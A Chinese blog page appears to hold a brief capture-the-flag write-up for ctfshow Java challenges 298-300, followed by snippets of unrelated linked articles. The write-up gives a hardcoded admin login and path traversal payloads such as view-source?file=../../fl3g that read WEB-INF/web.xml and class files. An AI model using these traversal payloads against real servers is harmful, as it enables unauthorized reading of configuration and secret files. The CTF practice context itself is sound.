ctfshow298-300（java信息泄露，代码审计）
Web298
代码审计
这里看到getVipStatus方法，获得了获取flag的条件就是user等于admin，password等于ctfshow
Poc:
https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?username=admin&password=ctfshow
Web299
打开页面发现信息泄露
读取：
https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/web.xml
https://85b72ab2-2d17-4db2-b208-78a05b8ac80a.challenge.ctf.show/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
Payload：
/view-source?file=../../../../../../fl3g
Web300
原理同299
payload: ?file=../../../../../f1bg
相关文章：
ctfshow298-300（java信息泄露，代码审计）
Web298 代码审计 这里看到getVipStatus方法，获得了获取flag的条件就是user等于admin，password等于ctfshow Poc: https://d036a90d-ac1c-4de1-9b0b-86f52d2586b9.challenge.ctf.show/ctfshow/login?usernameadmin&passwordctfshow Web299 打开页面…...
Java 基础 and 进阶面试知识点（超详细）
一个 Java 文件中是否可以存在多个类（修饰类除外）？ 一个 Java 文件中是可以存在多个类的，但是一个 Java 文件中只能存在一个 public 所修饰的类，而且这个 Java 文件的文件名还必须和 public 所修饰类的类名保持一致&a…...
【LabVIEW作业篇 - 5】：水仙花数、数组与for循环的连接
文章目录 水仙花数数组与for循环的连接 水仙花数 水仙花数，是指一个3位数，它的每个位上的数字的3次幂之和等于它本身。如371 3^3 7^3 1^3，则371是一个水仙花数。 思路：水仙花数是一个三位数，通过使用for循环…...
Kafka系列之如何提高消费者消费速度
前言 在实际开发过程中，如果使用Kafka处理超大数据量(千万级、亿级)的场景，Kafka消费者的消费速度可能决定系统性能瓶颈。 实现方案 为了提高消费者的消费速度，我们可以采取以下措施： 将主题的分区数量增大，如 20&…...
mac安装Whisper
Whisper 官方git https://github.com/openai/whisper?tabreadme-ov-file 基本上参考官方的安装流程 pip3 install -U openai-whisper pip3 install githttps://github.com/openai/whisper.git pip3 install --upgrade --no-deps --force-reinstall githttps://github.com/…...
Linux：进程概述（什么是进程、进程控制块PCB、并发与并行、进程的状态、进程的相关命令）
进程概述 (1)What（什么是进程） 程序：磁盘上的可执行文件，它占用磁盘、是一个静态概念 进程：程序执行之后的状态，占用CPU和内存，是一个动态概念；每一个进程都有一个对应的进程控制块…...
Unity UGUI 之 坐标转换
本文仅作学习笔记与交流，不作任何商业用途 本文包括但不限于unity官方手册，唐老狮，麦扣教程知识，引用会标记，如有不足还请斧正 本文在发布时间选用unity 2022.3.8稳定版本，请注意分别 前置知识：…...
使用 uPlot 在 Vue 中创建交互式图表
本文由ScriptEcho平台提供技术支持 项目地址：传送门 使用 uPlot 在 Vue 中创建交互式图表 应用场景介绍 uPlot 是一个轻量级、高性能的图表库，适用于创建各种交互式图表。它具有丰富的功能，包括可自定义的轴、网格、刻度和交互性。本篇博…...
SpringBoot 项目配置文件注释乱码的问题解决方案
一、问题描述 在项目的配置文件中，我们写了一些注释，如下所示： 但是再次打开注释会变成乱码，如下所示： 那么如何解决呢？ 二、解决方案 1. 点击” File→Setting" 2. 搜索“File Encodings”, 将框…...
TTS如何正确读AI缩写、金额和数字
案例：Tell me whats AI(a i), you need pay $186.30, your card Number is 1 2 3, your work Number is 5 6 7 8...
python基础知识点（蓝桥杯python科目个人复习计划75）
第一题：ip补充 题目描述： 小蓝的ip地址为192.168.*.21，其中*是一个数字，请问这个数字最大可能是多少？ import os import sys# 请在此输入您的代码 print("255") 第二题：出现最多的字符 题目描…...
小技巧：如何在已知PDF密码情况下去掉PDF的密码保护
第一步，用Edge打开你的pdf，输入密码进去 第二步，点击打印 第三步，选择导出PDF，选择彩印 第四步，选择导出位置，导出成功后打开发现没有密码限制了！...
Java泛型的介绍和基本使用
什么是泛型 泛型就是将类型参数化，比如定义了一个栈，你必须在定义之前声明这个栈中存放的数据的类型，是int也好是double或者其他的引用数据类型也好，定义好了之后这个栈就无法用来存放其他类型的数据。如果这时候我们想要使用这…...
【C++】动态内存管理与模版
目录 1、关键字new： 1、用法： 2、理解： 3、与malloc的相同与不同： 1、相同： 2、不同： 2、模版初阶： 1、函数模版： 1、概念： 2、关键字：template&…...
MongoDB - 组合聚合阶段：$group、$match、$limit、$sort、$skip、$project、$count
文章目录 1. $group2. $group-> $project2.1 $group2.2 $group-> $project2.3 SpringBoot 整合 MongoDB 3. $match-> $group -> $match3.1 $match3.2 $match-> $group3.3 $match-> $group-> $match3.4 SpringBoot 整合 MongoDB 4. $match-> $group->…...
vue element-ui日期控件传参
前端：Vue element-ui <el-form-item label"过期时间" :rules"[ { required: true, message: 请选择过期时间, trigger: blur }]"><el-date-picker v-model"form.expireTime" type"date" format"yyyy-MM-dd&…...
MacOS安装SDKMan管理Java版本
文章目录 1 简介2 安装与卸载2.1 安装2.2 卸载 3 使用3.1 查看其他工具：支持 Ant, Maven 等3.2 查看Java版本3.3 安装Java，加上相关的版本3.4 设置Java版本(全局)3.5 只在当前窗口生效3.6 卸载1 默认环境无法卸载 4 jdk安装的位置5 与IDEA集成参考 1 简介…...
【网络安全的神秘世界】文件包含漏洞
🌝博客主页：泥菩萨 💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含：重复使用的函数写在文件里，需要使用某个函数时直接调用此文件，而无需再…...
并发编程--volatile
1.什么是volatile volatile是 轻 量 级 的 synchronized，它在多 处 理器开 发 中保 证 了共享 变 量的 “ 可 见 性 ” 。可 见 性的意思是当一个 线 程 修改一个共享变 量 时 ，另外一个 线 程能 读 到 这 个修改的 值 。如果 volatile 变 量修 饰 符使用…...
记录unraid docker更新的域名
背景：级联 一、安装内容 unraid更新docker，之前一直失败，修改网络后可以进行安装。 二、查看域名 查看域名，发现是走github的，怪不得有一些docker无法正常更新 三、解决方法 更改代理，这里为unraid的…...
SpringCloud+Vue3多对多，多表联查
♥️作者：小宋1021 🤵♂️个人主页：小宋1021主页 ♥️坚持分析平时学习到的项目以及学习到的软件开发知识，和大家一起努力呀！！！ 🎈🎈加油！ 加油！…...
麒麟系统信创改造
麒麟系统信创改造 一、查看操作系统架构下载相应的依赖，压缩包1、查看Linux系统架构、CPU（1）uname -m（2）lscpu（3）cat /proc/cpuinfo（4）arch（5）getconf LONG_BIT（6）dmidecode2、根据Linux系统架构、CPU的差异进行下载相关依赖，看第二项二、以下是根据本系统的aarc…...
【Android】ListView和RecyclerView知识总结
文章目录 ListView步骤适配器AdpterArrayAdapterSimpleAdapterBaseAdpter效率问题 RecyclerView具体实现不同布局形式的设置横向滚动瀑布流网格 点击事件 ListView ListView 是 Android 中的一种视图组件，用于显示可滚动的垂直列表。每个列表项都是一个视图对象&…...
泛域名绑定到wordpress网站二级目录
要将WordPress的泛域名绑定到二级目录，你需要在你的服务器上修改Apache或Nginx配置文件。以下是两种最常见的服务器配置的示例： Apache服务器 编辑你的虚拟主机配置文件，通常位于/etc/apache2/sites-available/目录下。 <VirtualHost *…...
8、从0搭建企业门户网站——网站部署
目录 正文 1、域名解析 2、云服务器端口授权 3、Mysql数据库初始化 4、上传网站软件包 5、Tomcat配置 6、运行Tomcat 7、停止Tomcat 8、部署后发现验证码无法使用 完毕！ 正文 当云服务器租用、域名购买和软件开发都完成后，我们就可以开始网站部署上线，ICP备案会长…...
uniapp中出现图片过小会与盒子偏离
结论：在image的父盒子中加上display: flex，原因不清楚 出问题的代码和图片如下： <template><view style" background-color: greenyellow; height: 10rpx;width: 10rpx;"><image :src"imgSrc.seatnull" …...
MySQL练手 --- 1934. 确认率
题目链接：1934. 确认率 思路 由题可知，两个表，一个表为Signups注册表，另一个表为Confirmations信息确认表，表的关联关系为 一对一，且user_id作为两个表的连接条件（匹配字段）&#…...
【OpenCV C++20 学习笔记】扫描图片数据
扫描图片数据 应用情景图像数据扫描的难点颜色空间缩减（color space reduction）查询表 扫描算法计算查询表统计运算时长连续内存3种扫描方法C风格的扫描方法迭代器方法坐标方法LUT方法 算法效率对比结论 应用情景 图像数据扫描的难点 在上一篇文章《基…...
LeetCode：爬楼梯（C语言）
1、问题概述：每次可以爬 1 或 2 个台阶。有多少种不同的方法可以爬到楼顶 2、示例 示例 1： 输入：n 2 输出：2 解释：有两种方法可以爬到楼顶。 1. 1 阶 1 阶 2. 2 阶 示例 2： 输入：n 3 输出&a…...
银河麒麟（arm64）环境下通过docker安装postgis3，并实现数据整体迁移
银河麒麟(arm64)环境下通过docker安装postgis3，并实现数据整体迁移 硬件配置：麒麟9006C 系统环境：银河麒麟桌面版v10 sp1 数据库：postgresql11+postgis3.0 具体的步骤参考https://blog.csdn.net/qq_34817440/article/details/103914574 -----主要操作-----------------…...